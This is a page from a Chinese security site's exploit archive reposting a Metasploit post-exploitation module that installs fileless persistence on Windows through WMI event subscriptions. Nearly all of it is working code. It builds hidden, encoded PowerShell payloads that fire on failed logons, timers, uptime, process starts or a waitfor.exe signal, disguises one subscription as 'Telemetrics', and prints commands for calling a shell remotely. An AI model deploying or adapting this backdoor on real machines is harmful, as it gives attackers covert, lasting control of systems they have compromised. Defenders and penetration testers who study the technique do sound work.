首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WMI Event Subscription Persistence
来源:metasploit.com 作者:NickTyrer 发布时间:2017-07-11  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/file'

class MetasploitModule < Msf::Exploit::Local

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Post::Windows::Priv
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'WMI Event Subscription Persistence',
      'Description'      => %q{
          This module will create a permanent WMI event subscription to achieve file-less persistence using one
          of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
          (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
          must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
          /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
          The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
          method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
          method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
          creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
          before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
          (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
          activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
          high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
        },
      'Author'           => ['Nick Tyrer <@NickTyrer>'],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'Platform'         => 'win',
      'SessionTypes'  => ['meterpreter'],
      'Targets'       => [['Windows', {}]],
      'DisclosureDate' => 'Jun 6 2017',
      'DefaultTarget'    => 0,
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'true'
        },
      'References' => [
        ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
        ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
      ]
    ))

    register_options([
      OptEnum.new('PERSISTENCE_METHOD',
        [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
      OptInt.new('EVENT_ID_TRIGGER',
        [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
      OptString.new('USERNAME_TRIGGER',
        [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
      OptString.new('PROCESS_TRIGGER',
        [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
      OptString.new('WAITFOR_TRIGGER',
        [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
      OptInt.new('CALLBACK_INTERVAL',
        [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
      OptString.new('CLASSNAME',
        [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
    ])

    register_advanced_options(
      [
        OptString.new('CUSTOM_PS_COMMAND',
        [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
    ])
  end


  def exploit
   unless have_powershell?
      print_error("This module requires powershell to run")
      return
   end

   unless is_admin?
      print_error("This module requires admin privs to run")
      return
   end

   unless is_high_integrity?
      print_error("This module requires UAC to be bypassed first")
      return
   end

   if is_system?
      print_error("This module cannot run as System")
      return
   end

   host = session.session_host
   print_status('Installing Persistence...')

   case datastore['PERSISTENCE_METHOD']
    when 'LOGON'
      psh_exec(subscription_logon)
      print_good "Persistence installed!"
      remove_persistence
    when 'INTERVAL'
      psh_exec(subscription_interval)
      print_good "Persistence installed!"
      remove_persistence
    when 'EVENT'
      psh_exec(subscription_event)
      print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
      remove_persistence
    when 'PROCESS'
      psh_exec(subscription_process)
      print_good "Persistence installed!"
      remove_persistence
    when 'WAITFOR'
      psh_exec(subscription_waitfor)
      print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
      remove_persistence
    end
   end


  def build_payload
    if datastore['CUSTOM_PS_COMMAND']
      script_in = datastore['CUSTOM_PS_COMMAND']
      compressed_script = compress_script(script_in, eof = nil)
      encoded_script = encode_script(compressed_script, eof = nil)
      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
    else
      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    end
  end


  def subscription_logon
   command = build_payload
   class_name = datastore['CLASSNAME']
   <<-HEREDOC
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
   HEREDOC
  end


  def subscription_interval
   command = build_payload
   class_name = datastore['CLASSNAME']
   callback_interval = datastore['CALLBACK_INTERVAL']
   <<-HEREDOC
    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
   HEREDOC
  end


  def subscription_event
   command = build_payload
   event_id = datastore['EVENT_ID_TRIGGER']
   username = datastore['USERNAME_TRIGGER']
   class_name = datastore['CLASSNAME']
   <<-HEREDOC
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
   HEREDOC
  end


  def subscription_process
   command = build_payload
   class_name = datastore['CLASSNAME']
   process_name = datastore['PROCESS_TRIGGER']
   <<-HEREDOC
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
   HEREDOC
  end


  def subscription_waitfor
   command = build_payload
   word = datastore['WAITFOR_TRIGGER']
   class_name = datastore['CLASSNAME']
   <<-HEREDOC
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
    $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
    $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
    Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
   HEREDOC
  end


  def log_file
    host = session.session_host
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
    logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
    Rex::FileUtils.clean_path(host + filenameinfo))
    ::FileUtils.mkdir_p(logs)
    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
  end


  def remove_persistence
    name_class = datastore['CLASSNAME']
    clean_rc = log_file
      if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
        clean_up_rc = ""
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
      else
        clean_up_rc = ""
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
      end
    file_local_write(clean_rc, clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DNS/DNSSEC RR Stub Resolver De
·Microsoft Windows Windows 7/8.
·Easy File Sharing Web Server 7
·IBM Informix 12.10 DB-Access B
·Yaws 1.91 - Remote File Disclo
·RaidenHTTPD 2.0.44 User-Agent
·Firefox 54.0.1 - Denial of Ser
·Skype for Business 2016 - Cros
·IoT mDNS/DNS-SD QM Amplificati
·PyCharm 2-0 / 2017 Buffer Over
·rpcinfo Portmap DUMP Call Ampl
·Apache Struts 2.3.x Showcase -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved